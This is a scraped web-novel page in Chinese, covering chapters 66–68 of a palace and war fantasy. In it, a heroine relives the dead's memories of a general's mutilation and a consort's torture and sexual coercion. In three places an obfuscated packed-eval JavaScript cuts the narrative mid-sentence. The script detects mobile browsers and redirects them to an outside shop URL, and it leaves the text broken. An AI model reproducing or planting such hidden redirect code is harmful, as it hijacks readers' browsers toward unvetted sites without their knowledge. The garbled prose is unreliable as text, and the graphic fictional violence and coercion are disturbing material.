元晴眼睛一亮:“她此时正是在滬南!” 紫菀想了想,满眼希望又黯下去:“滬南那样大,咱们如何联络?” 元晴思忖片刻:“直接发信鸽给四哥,褚姐姐若在城池里,自会收到信过来。至于山里……” 山鬼的碧色瞳孔亮起:“她只要靠近九霄山百里之内,孤自有感应。” 元晴唇角扬了扬,忽地心一沉,目光又黯淡下去。 “已至八月下旬,不知褚姐姐那秘术如何了?” . 池州栾昌岭,夕阳瑟瑟,山峦青黛色的曲线起起伏伏,丝丝缕缕云岫温柔地罩住山腰以上,像是起风时长流川荡漾的深青色烟波。 舜英看见远方山谷里,风尘仆仆的残兵败将络绎不绝走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981275|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,几乎每人都挂了浓墨重彩,辙乱旗靡、溃不成军。 弃甲、曳兵,人困、马乏。 为首的是一名五十多岁的精壮男子,鬓发蓬乱,脸上、手上、盔甲上、披风上的血痂已凝固成黑色。 只有那双眼睛,疲惫之中依然精光矍铄,像是地狱里燃烧着的阴火。 过来一个斥候,趴在地上听了会儿,跑到将领的马前,哭声中满含绝望:“太尉大人,元璟的骑兵距此地不超过五十里。” 郭越身后是一名穿着玄甲的少年,面容透着稚气,身上伤口也较少,看了那小卒一眼,驱马走到郭越身边。 “哥,既然逃无可逃,咱们背水一战吧!” “咱们还剩近三万人,收拢起来拼死一搏,杀一个不亏,杀两个血赚!” 郭越转头看向他,坚毅如铁的脸忽然显出疲态:“小十二,你还年轻,上战场没几年,降了吧。” “今时不同往日,他们不会杀降了,你看看萧胤投降后,高官厚禄!” 玄甲少年一愣,摇摇头,坚决地说:“我郭家男儿,宁死不降!” 郭越疲惫的脸上浮出一丝欣慰,伸出手去摸了摸少年的脸:“小十二,先别说话,听着!大哥说的每个字,你都听好了,记住了!” “元璟是来追杀大哥的,不一定清楚咱们还有多少人。大哥逃不了的,你、你们还能逃出去。” “所有兄弟中,数你心眼最实,不要犟,不要全部葬送在这里……没有意义。” “清点一下残部,还有余力一战的都收拢起来。往后,你就是他们的主将,带他们躲进九霄山。” “郑载弘虽说降了,却会竭力周旋,为滬国遗民谋福祉……他向我起誓,会竭尽全力养着你们。” “好好躲着,有余力的话再壮大些,待到新的时机,随他们振臂一呼,起事!复国!” 玄甲少年泪如雨下,哽咽道:“大哥,我都听你的!” 郭越扬起嘴角,调转马头,面向身后忠心耿耿的三万大军,发出他此生最后一道军令。 “虎威军听令,从此刻起,吾之十二弟郭洋便是你们新的主帅!” “整兵!” 稀里哗啦一阵响声,虎威军残部之中,受伤较轻的、年轻力壮的纷纷出列,牵着仅剩的几百匹好马,驮着清点出来的可用物资,走到玄甲少年面前,齐齐单膝下跪,抱拳。 在身后兄长期盼的眼光中、留守的老弱病残士卒目送下,郭洋调转马头,率领两万残军,毅然决然向西奔去。 残阳如血,西风中传来郭洋郑重的誓言:“我郭洋,此生必以复国为己任,蹈锋饮血、万死不辞!” 身后,郭越带着一万老弱病残,席地而坐,慷慨悲歌。 “出不入兮往不反,平原忽兮路超远。” “带长剑兮挟秦弓,首身离兮心不惩。” 舜英悬在半空中,心神激荡,久久不能平复。而在不远处的山谷里,尘烟四起,隐隐有旌旗攒动,上面是金线绣成的大字——“翊”。 银鞍照白马,飒沓如流星。 她看到了弱冠出头的元璟,比现在更好看,却神色冷峻、双目赤红,一袭银袍已被血染得红黑交错,像从地狱里爬出来、寻人索命的恶鬼。 声嘶力竭、咬牙切齿地高喊:“郭越老贼,还我爱妻命来!” 郭越突然嘿嘿笑了,眼中尽是讥诮:“九殿下金枝玉叶、风华绝代,何故以妓为妻?” 舜英正不知所谓,左腿突然传来断裂般的剧痛,晃了晃强行撑住,右腿又传来同样剧痛。 她发现自己变成了郭越,双腿已被斫断,被迫跪倒在地,却仍仰头大笑。 视线上方,元璟半面染血,回身看向身后翊军,冷声叱令:“虎威军残部,一个不留!” “有的血债,只能血偿!” “杀!” 66. 魑魅为邻 “郭越老贼,你这两条腿,祭我大翊埋骨滬南的忠勇男儿!”元璟居高临下,淌血的马刀扬起。 舜英感觉右臂一麻,疼痛钻心,郭越的右臂掉到了地上。 “这一只右手,祭我至交好友——贺浮白。” 左臂一麻,痛得彻心彻骨,郭越的左臂也掉到了地上。 “这一只左手,祭我的阿云,你这腌臜老贼、你这藏污纳垢的滬王宫、满朝文武,统统有罪!” 舜英借着郭越的身体,感知着千刀万剐的疼,郭越却连痛都不喊一声,听到“阿云”二字,笑声越来越大。 “什么阿云,倾家丧国之物……” “老夫还嫌她死得太痛快,没亲眼见到她的下场,没亲手将她活剐了……” 寒光闪过,舜英只觉眼前一红,疼痛锥进脑颅,郭越的双眼也瞎了,嘴里却仍喋喋不休地嘲讽着。 “你可真贱,郑尧嘉比你还贱,离了女人就活不了,拿那么个东西当宝贝……” 舜英感觉胸腔一寒,像是腊月的朔风穿透躯体,无尽的热流喷涌而出,郭越撑着最后一口气,笑声更加放肆了。 “老夫是睡过她,滋味还当真不错,你那个爱妻……睡过她可不止老夫……” “武将、文臣、宗室子、乐工、侍卫……见过她的每个男人都睡过她……” 舜英感觉喉咙一凉,锋刃划过的时候,时间好像凝滞了。 血红发黑的世界里,她在极端的痛楚中,听觉是最后消失的。 她在呜呜风声中,听到元璟的咆哮,像是被逼入绝境的野兽。 “你们这些禽兽——” 痛楚好像轻了,感知也越来越模糊,舜英看到自己从郭越的躯体飘了出来,逆着风、飘向远处的九霄山。 她又飘进了一团灰白的浓雾。 视野里,无数画面像走马灯一样飞速掠过。 高阔明朗的书房里、低矮沉闷的庑房里、鸟语花香的后花园、潮湿阴暗的山洞、富丽堂皇的寝殿……不同的屋舍。 书案上、矮榻上、干草堆上、树丛中、冰冷坚硬的石头上、轻罗软烟的帐幔中……不同的场景。 郑尧嘉、郭越、萧胤、乐工、侍卫……不同的脸孔。 切换不止,变幻不休。 唯一相同的,是毫不怜惜的欺凌、碾压、掠夺。 灰雾起了又散、散了又起,最终视线所及的一切温柔包住,看不到也听不到那些肮脏的场景,雾气里只剩低沉的呜咽…… 舜英再次睁开双眼,头顶是洁白的帐幔,身边一左一右躺着天璇和天玑。 恍恍惚惚,带着体温的双鱼形玉佩从中衣掉出来,透着浅灰的岫玉,温润的表面、内里像裹着一团灰色的雾霭。 摸了摸脸颊,满是泪水,一滴滴摔碎到玉佩上。她缓缓从被窝里脱出手,将玉佩紧紧攥在手心,柔声问:“是你吗?” 天玑被惊醒,看了看自己搂住舜英的手,放也不是、不放也不是,尴尬地笑了笑。 舜英却回过身去,紧紧抱住了天玑,泪眼朦胧,像是透过她看着另一个人,全身发着颤、嚎啕大哭。 “这都算什么?” . “顾大人,进屋去看公文吧”,许姿从侍女手里接过姜汤,走进石亭里,“别风寒倒下了,治疫还等着你主持大局。” 顾星阑从满桌文书中抬起头,眼底乌青,调侃道:“许大人今日怎如此和善?” 许姿等他收拾好文书,把姜汤递过去,笑容淡淡的:“顾大人夙兴夜寐,下官瞧着有些心疼。” 顾星阑愣了愣,老脸一热,忙岔开话题:“眼下滬南四州,已有六成州兵听我节制,总算能施展些拳脚。” 许姿满眼赞赏:“顾大人的品行和才干,如囊中之锥,陛下慧眼识才啊。” 顾星阑脸更红,谦逊道:“人心都是肉长的,那些州兵也有家人要守护,本官是忠是奸,日久见人心嘛……” 许姿唇角噙笑,深深看着他,却像看着另一个人:“顾大人的背影和风范,有些像爹爹的一位好友。” 顾星阑顿时羞得无地自容,幸亏许姿满怀愁绪,并未注意他的异常,忙笑着解释:“是末官这身旧布衫么?” 许姿叹了口气,点点头:“或许吧……那时候我才五六岁,面貌都记不清了,只记得他爱穿洗得发白的旧布衫。” “听爹爹说,那位叔父出身贫寒,本是碧宁书院的杂役,被襄国公和南后看中,收入门下。他与爹爹相交时,官秩已经不低了,却仍喜欢穿着布衣。” “叔父说,爬得再高,也要记得自己从何处来。” “碧宁书院,襄国公?”顾星阑精神一振,赶紧追问,“那位先生,是否姓辛?” 许姿蹙眉回想了一阵,摇了摇头:“不记得了,好像爹爹叫他‘佑安’。” 顾星阑难掩激动:“果真是他,谥号‘文端’的辛佑安,他是天下寒门学子的救赎,敢问许大人……” 慢慢住了口,因为他发现许姿心不在焉,正扭头看向大门口,侧着耳朵在听什么。 门口传来一阵嘈杂,像是两名女子在争执,许姿听了一阵,目光灼灼地说:“郑娘娘和谁吵起来了,她那绵软性子莫被人欺负了。你先忙,我出去帮她吵!” . 他们住的这座宅子,叫“万木春”。元旭到燮陵后,既不愿去刺史官邸拘束,又因郑夫人的缘故、不愿住进护国公府,于是在刺史府这条街赁了一间三进的宅子。 门口站着一位中年贵妇,满身绫罗、满头珠翠,妆扮极尽贵气,前呼后拥的,看去比郑锦珠这个宫妃还气派。 郑锦珠带着宅中仆从家丁堵在门口,一言不发,冷冷逼视着门外一干人马。 中年贵妇傲然道:“为娘看你在这熬得辛苦,给你个认祖归宗的机会,你倒来拿乔。” 郑锦珠眼中显出讥诮,冷冷道:“本宫父母双亡,早已嫁与大翊昭王为妃,认什么主、归什么宗?” 中年贵妇伸出纤长细嫩的手,指着郑锦珠呵斥:“当年要不是你命硬,克得你爹无子嗣,何至于他一过世,我们孤儿寡母就无依无靠!” “你打小就是个灾星,幼时克父克母,嫁人了克夫,如今还咒你娘去死。” “管你跟了什么昭王,不还是个妾……有本事忤逆我,有本事把自己一身血肉剔了还我。” 许姿见郑锦珠气得双唇发白、浑身打哆嗦,却一句话都说不出来,忙走过去扶住她。 笑吟吟看着门外贵妇道:“都说滬南女子最重节烈,今儿新鲜,头次见到一女事二夫,嫁的还是小叔子,还这样招摇过市的,若是我呀,羞也羞死了。” 果然,那贵妇脸色一白,像被戳到痛处,眼眶发红,居然有几分哽咽:“他才是世上最疼我的男人,你们懂什么?” 眼神有些慌乱,声音也变得尖利:“我一生贞节,在家从父从兄,出嫁从夫,从未做过什么对不住亡夫的事。” “锦珠,当年是你舅舅逼着为娘再嫁,关为娘何事?” 许姿作出恍然大悟状,笑容更盛:“不关你事啊?原来与郑载云同床共枕十几年,生育三子两女的,不是奚夫人你啊。” 脸色一变,冷哼道:“郑娘娘说的没错,果然是个死人,没脑子没心肝,只会听人摆布。” 郑锦珠眼眶发红、泛着泪光,回握住许姿的手,强 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“还有,护国公不是装病么,怎么真要侍疾了?” 顾星阑正抱着一叠公文往外走,叹了口气:“时疫越发严重了,好像护国公也染上了。” 许姿拍手称快:“天道好轮回!” 顾星阑眼中忧虑更重:“好什么好?咱们一开始猜测,疫病是他们投放的,现在看来不大像。护国公老谋深算一辈子,不至于搬起石头砸自己的脚。” “奚夫人刚刚那话,大概意思是,他们要起事了。” 郑锦珠冷笑,眼里寒芒毕现:“果然蠢货,郑载云瞒得死死的消息,就被她为了逞威风,这样痛快抖出来。” 顾星阑又叹了口气:“知道又能如何,皋州的官驿被他们把控了,邸报根本出不去滬南。” “官驿不行,还有秘密据点”,玉衡带着元旭,笑容满面走过来,身后还跟着个三十多岁的黑衣男子,“只是目前交通不畅,尽量精简次数,免得被他们发现。” 黑衣男子走到郑锦珠面前,单膝下跪、抱拳道:“末将开阳,拜见滬国夫人。” 元旭身后跟了些随从,他先命随从捧着公文匣子,先一道去府中蒸房用烈酒熏蒸。 过了片刻后,一身酒气的随从捧着公文匣子过来了,元旭接过来呈给顾星阑。 “宜邑多是些富商巨贾,吃不了治疫的苦,正闹将着偷偷逃离。” “皋州那边的州兵病倒的太多,局面快压不住了。” 顾星阑点点头:“可以先从沵州调些州兵和药师去,药材和烈酒不多了。” 许姿插嘴提议:“我听爹爹说,没有烈酒时,开水和雄黄熏蒸也成。” 元旭认同:“御医署也这样说过,运些雄黄吧…若烧水的柴薪不够,沵州多山,可否从那边调运?” 顾星阑注视着元旭乌青的眼圈,叹气道:“有劳六殿下在疫区主事,先歇息两天再去吧” 被重臣如此赞扬,元旭白皙的小脸兴奋地涨红:“不必,睡一夜就缓过来了,明早出发。” “以前并未觉得自己血统有何特别,不成想时疫一发,才发现自己可行走于疫区、不受侵染……这血脉当真有用。” “我元旭,翊昭王之子,永平王之弟,留在疫区主事,是天命所归。” 郑锦珠久久注视着元旭,这个一夜长大的孩子——她的亲生儿子。 “好孩子……有子如此,娘此生无憾”,她眼圈发红、闪着泪光,“今夜好生歇息,娘亲手做些糕点,你路上带着。明天一早,娘送你出城!” 67. 劳燕分飞 开阳一直在旁边跟玉衡窃窃私语,等他们说完了治疫,才走过来。 “本次南下带了一百多人,都是些练家子、好手,留一半护卫娘娘和各位大人,不知够否?” 郑锦珠摇头,笑道:“此处还好,全带走去忙正事吧。” 顾星阑见她表了态,忙道:“此处有戍卫,玉统领带的人就够了,只是还有一事需劳烦二位。” “时疫蔓延,不知何时能休,药材已经开始短缺了……能否替下官给陛下带一封邸报。” 玉衡摇摇头:“眼下,不是送不送得出去,而是陛下给不给。若你给一个人送粮送药,那人一边挟持了你娘子兄弟,一边蓄力打你,你给不给药。” 开阳冷哼:“给药?没几刀攮死他算好了,陛下再仁善,也是一国之君!” “看吧,陛下憋了一肚子火,可能劝不动”,玉衡耸了耸肩,忽然两眼一亮,“除非是……” “阿英怎样了?”郑锦珠会意,忙发问。 玉衡:“最新的线报,首领正在河州,神智已大好了,说是找到滬南叛军的线索了。暂不确定,近期会有给昇阳的急报,让我们先料理出一条路子。” 开阳问:“河州哪里,能否叫首领先等等,我带人过去帮忙。” 玉衡懊恼道:“她都是边走边传信,等你过去,她早不知跑多远了。大概是河州九霄山一带,我想法子传信。” 忽然蹙眉看向开阳:“以往从昇阳骑马过来,快马加鞭最多十天,你这次怎么拖了这样久?” 开阳狠狠叹了口气:“皋州各处道路都封锁了,骑不了快马,翻山走过来的。” 想了想又提醒他:“你料理传信路子的时候注意些,绕开维阳和宜邑,那儿鱼龙混杂,军管的时间一久,什么魑魅魍魉都出来了。” . “劳驾公主施恩,放在下去维阳。” 元昙正坐在马背上慢慢遛着,一听苻洵这话,惊得双腿一收、手一抖,马即刻受惊,撒开四蹄跑了起来。 苻洵忙一手揪住马鬃毛,一手摁住马背,两手使劲支撑住身体,被挂在马的身侧、带着一并跑起来。 元昙闭上双眼、连声尖叫,苻洵一声不吭按住马背,竭力往马背上撑了几次,不知被拖了多久,终于踩稳了脚蹬,从元昙背后伸出手、将她围护在双臂间,使劲一勒缰绳。 受惊的马嘶声长叫,后踢支地站了起来,苻洵一手紧紧抓住缰绳,一手揽紧元昙。 摇晃几次,那匹红色的烈马终于消停了,乖顺地站稳。 苻洵瞥见她吓得花容失色,叹了口气,揽住她的手不松,一脚以脚蹬为支点,带着她翻身下了马。 元昙呆若木鸡,木僵地站了好一阵,才扁了扁嘴,盈出两眶泪珠。 苻洵见状,叹了口气,从袖中取出一方雪白的丝帕递给她,低声道:“是在下的错,不该在你刚学骑马时说话,让你分心。” “我是不是很笨啊”,元昙愣愣盯着丝帕,泪水像断了线的珠子,落到丝帕上,洇出一滴滴圆痕,“学了两天才走得稳。” 苻洵笑了,眼神温和:“你这样已算是极快,初次学骑马,都要几天才走的稳,多练练就好了。” 又看了看那匹高大健硕的枣红马,摇了摇头:“这匹马太高了、性子也暴躁,下午跟我去马市,买一匹矮的、温驯的。” 见元昙仍低头落泪,又从她手中拿过丝帕,替她拭泪,柔声哄道:“待会儿去吃玉露团,就去紫阳街那家,再来个糖蒸酥酪,吃点甜的心情就好了。” 元昙破涕为笑,嗔怪道:“说得像人家只会吃。” 苻洵忍俊不禁:“公主柳絮才高、不栉进士,喜好什么美食也是那美食的福分。” 又继续温声道:“下午还是去挑一匹马吧,就当临别赠礼了。” “送马就不必了,有人送……”元昙泪汪汪抬起头,眼中有些错愕,“为何非要此时去维阳,早起刚跟你说过,对岸在闹瘟疫,你去了不知何时能出来。” 苻洵收了笑容,倒退了半步,躬身长揖道:“在下不愿欺瞒,我有一妾侍现居维阳,已身怀六甲,如今阖城戒严、隔江又有时疫。在下将为人父,理应前往、悉心照料她左右。” “妾侍……身怀六甲……为人父?”这些离自己很遥远的词,乍然被拉到眼前,震得元昙半晌回不过神,喃喃道,“是了,曾听你说过,是我糊涂了。” 苻洵又恢复了一贯的淡笑,眸光粲然,认真注视着谁时,总透着一股深情缱绻。 元昙苦笑着摇摇头,牵过马匹,走向主街道:“说来奇怪,此时,我竟有些羡慕你那妾侍。” “她美不美,性格好么?” 恍惚地走着,脚步忽地挺住,一个更可怕的念头浮上心头:“还有,那位让你扯断琴弦的姑娘,她比我好在哪里?” “是公主太好,在下配不上”,苻洵答非所问,躬身低头,缓缓走在她身后,“况且,如公主所见,在下风流浪荡,并非公主良配。” “北宛质子冯彬,便是送公主良驹之人吧,我在昇阳为质子时,曾与他有过交集。此人心性纯良,忠贞专一,公主何不给他、也给自己个机会?” 元昙眼眶一热:“明明一开始,是你说质子不易,让我多照拂冯彬的……” 说话间,二人已行至山脚,隐隐可见白石板路尽头的半山居,苻洵的随从郎琊和秦川正牵着几匹马,在白石板路上向他们走来。 苻洵转身作揖告别:“多谢公主盛情款待,在下一直视公主为知音,往后若有用得上的,公主尽管宣召,就此别过!” 不再多言,从秦川手里接过缰绳,缓缓向外走去。 元昙愣住了,怔怔看着他背影走远,无数画面从脑中飞速掠过—— 共舞时深情款款的对视;洛川南岸钓台深夜听琴;华胜簪上开在琵琶旁那丛幽兰;半山居无数次和歌时对望的微笑; 逛夜市时他细致地替她搭配首饰、然后买下赠她; 她初学骑马时、他低下头调整马蹬,专注而轻柔; 他们时常畅谈到夜半,他却知礼守节、秋毫无犯…… 他知晓她喜欢的香、喜欢的服色、喜欢的音律、喜欢的食物,也理解她艰难的处境、所有悲伤的往事…… 他了解她一切的一切。 然后措不及防地放手,转身,把她推给别人! “十六郎——”身后传来哽咽的呼喊,苻洵后背一僵,已被一个温软的怀抱从后环住。 他没有回头,不动声色皱了皱眉,抬起双臂顿在半空。良久之后,使劲扯开紧紧环在自己腰间的手,低声道:“回去吧。” “为什么?能当我是知音,能对我好,却不能长久”,元昙双臂发着颤,抽噎着问,“你根本不像自己说的那样……浪荡,只是至情至性,次次满怀希冀、掏心掏肺,却总是落空、不得善终,对不对?” 苻洵转过头,舒展眉眼笑了:“如果公主愿意,我可以一辈子对你好,但是,我不会再娶任何人为妻。” 元昙看到了他眸中复杂的隐忍和痛苦。 她泪眼朦胧,语无伦次地说:“你在这等我,我马上去昇阳,求王兄赐婚。他还在忧虑联姻荣国的人选,他最是仁善,只要我去求,他一定会答应……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭王后,郭越之女——郭淑娴。 郭王后冷冷道:“绿梅里通外贼,她是你结云阁的人,还需多问什么?” 云妃的声音不卑不亢:“妾实不知,愿领失察之罪。” 郭王后嗤嗤笑起来:“崔怜云,莫以为仗着王上宠爱,本宫就对你束手无策!” “本宫乃中宫王后,六宫之主,莫说是打杀几个婢女,就算是你云妃,本宫也有训诫之权。” 哗啦啦一阵铁链碰撞声,漆黑的空间忽然透进一丝风,紧跟着,漏进一方亮光。 舜英看清,这是个潮湿的山洞,出口用铁板封死,只留了一道小门。 两名婢女提着风灯,从刚打开的铁门走了进来。郭王后生得明艳英气,珠翠炤耀、华袿飞髾,一眼望去便高贵逼人。 可惜了,郑尧嘉只喜欢柔弱弱、娇怯怯的风致,譬如她身后一袭湖绿襦裙、弱不胜衣的云妃。 不愧是武将之女,也不多言。 两名健壮嬷嬷,一左一右抓住云妃胳膊、摁着肩膀将她压得双膝下跪,另一个嬷嬷走到云妃对面,拿起一根长一尺、宽两寸的木板,狠狠打向云妃两颊。 云妃肤色极白,被批颊没几下,已双颊通红、渗出丝丝血迹。 郭王后冷笑:“打烂这张脸,看你拿什么去狐媚惑主?” 舜英感觉两眼一酸,听见绿梅带着哭腔大喊:“别打了,奴婢说……” 68. 秽乱宫闱 云妃已被打得唇角滴血,却仍仰起头、昂然不惧地盯着郭王后:“敢问王后殿下,是要屈打成招,还是要公报私仇?” 郭王后怒气更盛,抄过木板,劈头盖脸朝云妃打去:“我尊贵,你卑贱,想打就打、想杀就杀,还需什么理由么?” 绿梅的哭喊声越来越大:“奴婢招了……奴婢是里通外贼的奸细,我们在宫里树大根深,云妃娘娘是我们上头的主子,也是奸细的大头目……” 云妃不可思议睁大双眼,看向绿梅,张张嘴要质问,木板却击得更重,让她一句话都说不出。 郭王后眼中的妒恨和快意交织,唇角上扬,狠狠道:“让她签字画押,带去陛下跟前。” 灰雾再度裹来,睁开眼,两颊和身体依然是熟悉的疼痛。 她还陷在绿梅的执念里。 眼前已是一间富丽堂皇的前殿,郑尧嘉坐主位,孔兆维、郭越分坐两侧,还有些不认识的人。 孔兆维捋了捋胡须,对郭越拱了拱手,赞赏道:“王后殿下居然查出了后宫奸细,果然虎父无犬女。” 郭越微微一笑,脸上浮出些傲然。 郑尧嘉默然不语,只怔怔看向被嬷嬷押在堂下的她们,目光在云妃那张红肿破碎的脸上扫来扫去。 “阿云,为什么?”他伸出的手顿在半空,眼圈通红,难以置信地轻声问,“朕做错了什么,你也要背叛朕?” 云妃的泪,滚过一道道红肿,在地上摔得粉碎,声音卑微:“妾实不知,失察之罪,请陛下和娘娘责罚。” 郑尧嘉松了口气,唇角浮起恍惚的笑意,起身就要扶她起来,却被郭越打断:“且慢!” 郑尧嘉身躯僵住,颇为畏惧地瞟了一眼郭越,坐回原位。 嬷嬷呈上画押的证词,踹了一脚绿梅:“这婢子已招了,请王上、太尉大人、丞相大人明鉴。” 郑尧嘉接过证词瞟了一眼,被烫到一般慌乱扔开,泪水滚滚而下。 郭越不屑地瞄了他一眼,接过证词问:“陛下以为如何处置?” 郑尧嘉低声道:“朕不知道,请太尉和相父教我。” 孔弼实又拱了拱手:“自然是,凌迟处死,夷三族!” 一直跪在那,奄奄一息、默不作声的绿梅突然动了。 她绝望地惨叫起来:“王后娘娘,你答应不伤我家人的!我都照你说的招了,娘娘啊——” 郭王后脸色一变,押着绿梅的两个嬷嬷赶紧去捂她的嘴,却已来不及,郑尧嘉和座下一人齐声道:“且慢!” 郭越挑眉,质问道:“郑载弘,你要包庇奸细么?” 郑载弘不卑不亢道:“敢问太尉大人,究竟有何隐情怕被陛下知晓,竟连话都不准人说完?” 绿梅觑着机会,拼命挣扎,竟挣脱了两个按住她的嬷嬷,膝行到郑尧嘉身边,郭王后想再拉她回来,被郑尧嘉一记眼刀制止。 众目睽睽之下,绿梅撕开上衫,露出密布的鞭痕、烙痕、淤青,泪流满面、声音凄厉。 “陛下明鉴,奴婢没有通敌,更不知道什么奸细,不要杀我爹娘——” “是王后娘娘,拿住了奴婢的爹娘和弟妹,说按着她说的招供,只死奴婢一人;不听话,全家都会死——” “奴婢没有撒谎,求陛下救救奴婢的家人!” 话音一落,忽然站起身,用力磕向桌角…… 舜英感觉太阳穴剧烈一震,像被一把带尖锥的巨锤重重砸下,四分五裂,温热的黏稠的液体泗流。 她又飘了起来,看到绿梅倒在郑尧嘉脚下,血溅红了他半边下裳。郑尧嘉吓得浑身颤抖、上身僵直。 云妃挣脱钳制,扑到绿梅尸身上,放声大哭:“绿梅……我害了你啊……” 又扑到郭王后脚下,扯住她裙摆摇晃,哀声哭求:“娘娘,都是妾的错,妾不该侍奉陛下,不该住进结云阁,不该同娘娘分陛下的恩宠……” 郭王后呆若木鸡,半晌才反应过来,惊恐大吼:“住嘴!” “够了”,被吓得头晕目眩的郑尧嘉清醒过来,站起身:“郭淑娴,你还要闹到几时?” 弯下身,伸手去搀扶云妃,云妃却后退两步避开,擦了擦泪,稽首大拜:“求陛下莫要责怪娘娘。” 郭王后有不祥预感,却不知怎样应对。 云妃抬起头,泪眼朦胧、逐一扫过在座的人,伏地哀求:“王后娘娘对陛下一片赤忱,何错之有?” “妾的存在,已使六宫不宁……” “求陛下贬妾为庶人,废入冷宫。” 所有人都震惊得说不出话,郭越率先开口:“倒是颇有自知之明。” “你!”郑尧嘉怒目看向郭越,对视半晌,转过头去,“就依云妃之言,照办吧。” 一国之君窝囊成这样,也是绝无仅有,怪不得亡国。 舜英腹诽,感觉脚下一晃,悠悠坠了下去。 她又变成了玉佩。 这次的房舍简陋了许多,门窗的木板有些朽烂,糊着薄脆的白纸,四面粉墙上沾着些秽物。 她被扔在一张积了薄尘的八仙桌上,靠墙有一张床,帷帐和床褥都灰扑扑的,透着股潮湿的霉味。 郭越坐在八仙桌旁,居高临下盯着跪在地上的云妃:“娘娘寻老夫所为何事?” 不知过了多久,云妃脸上红肿已消,泪盈盈地仰起头:“求太尉大人饶妾一命。” 她无权无势,所仪仗的,唯有以色侍人挣来的那点宠爱,在郑尧嘉的软弱、郭王后的跋扈下,不堪一击。 郭越稍稍一想,便已会意,嗤笑道:“老夫碾死你,就跟碾死一只蚂蚁般容易,为何要饶你?” “你有什么,值得老夫不顾淑娴脸面,饶你一命?” “你拿什么,换你这条命?” 一边说着,却一边盯着那张脸,双眸梨花带雨、肌肤莹润如雪、双唇红润而柔软,一呼一吸都是兰麝馥郁。 “就是这狐媚样,哄得郑尧嘉专房恩宠”,郭越冷笑,“害得淑娴成了六宫的笑话。” 喉结却上下滚动,咽了咽口水。 云妃眼里的希冀逐渐熄灭了,低下头,一点点解开自己腰带、褪去上衫…… 郭越继续嘲讽:“还是个无耻的狐媚子……”眼睛却随着她动作,在露出的大片肌肤上游走,呼吸也变得混乱。 行动也很积极,弯下腰两臂一抬,起身将云妃扔到床上,“呲啦”裂帛声响,大片衣裙被他粗暴地撕开,扔出去。 “你这样的物件,老夫就是瞧一眼也嫌脏……今日看你可怜,成全你一回。” “郑尧嘉那小崽子,还敢给老夫脸色看。” “老夫偏要在他的地盘、睡他的女人,他又能怎样?” 舜英心痛如割、乱如麻,不敢再听再看。 眼观鼻、鼻观心,沉下心境的这个过程,漫长得像一场凌迟。终于,灰雾再次温柔地包裹了一切。 这一次睁开眼,终于不再是幻境。 . 阳光照进来,舜英恍恍惚惚、被那柔和而温暖的光灼得险些流泪。 卧房里空荡荡的,桌子上有一盘热糕,摸了摸肚腹,果然饿得痛,于是就着茶水吃了几块。 记得昨夜亥时就歇了,也不知现在是早上还是下午。 自从那天,她在梦境里看到虎威残部被元璟全歼,轻松了许久的心口再次沉重,那随着走动、心脏被拖动的剧痛又回来了。 她已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981278|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能一直保持神智清明,那些幻象——亡者生前的执念、藏在玉佩里的记忆,都只会在梦里浮现。 以郭越为首,虎威残部的那股执念,在她心中不断叫嚣,引着她往一个方向走…… 这里是河州洪昌城西北郊的一个小镇,与长流川入口的浔阴县隔着扬澜湖,扬澜湖方圆两百多里,放眼望不见边际,秋风浪飞屋,春雨水弥天。 扬澜湖的西岸,隐隐见着一溜长长的青黛。 从包袱里取出千里镜,隔扬澜湖极目西望,火红的霞光与水面近乎连成一片,一群群白鹭缓缓飞回,落在芦苇荡上。而更远的青黛,是走向西南、绵延起伏的山脉,阵阵雀鸟在林子上空盘旋,久久不落下。 紧接着,顺着山脊走向,西南方向又一阵阵雀鸟飞了出来。 舜英手一抖,千里镜差点掉地上。眼瞳骤然睁大,心在剧烈狂跳,三步并作一步走向门口。 手刚放在门环上,“嘎吱”一声,推门进来的天璇撞到了她身上。 舜英激动地紧紧攥住她衣袖,颤声问:“朝廷发拨的第二批赈灾粮,在哪儿丢的?” 天璇思索片刻:“浔阴,扬澜湖。” 舜英蹙眉:“奇怪,龙牙他们早就去九霄山了,怎么没发现?” 天璇试探着问:“找到了?” 舜英连连点头,拉起她就往天玑房间走,攥住她衣袖的手发着颤。天璇喊了几声都喊不住,拉也拉不动。 “天玑,我找到了,快来一起传信,天玑……天……” 随着门被推开,映入眼帘的场景让舜英卡壳了,飞快咽下剩余的话,逃也似地反身退出,“嘭”地一声带上门。 那一瞬间,看到的仅是一瞬间。 舜英周身的血霎时冲到双颊、耳根,脑子一片空白,心跳如擂鼓,呼吸都开始不匀。 两名女子,居然能如此活色生香。 乱七八糟的心绪正不知如何平复,那门“嘎吱”一声开了,草草穿好衣裙的天玑冲出来。一眼瞥见她呆立在走廊上,眼圈突然红了,转身向另一个方向跑去。 楼梯都不走,施展轻身工夫跃下大堂,一溜烟地不知跑向何处。 天璇叹了口气,深深看了她一眼,跟着追了出去。 她总觉着,天璇那轻飘飘一眼,有些谴责的味道。 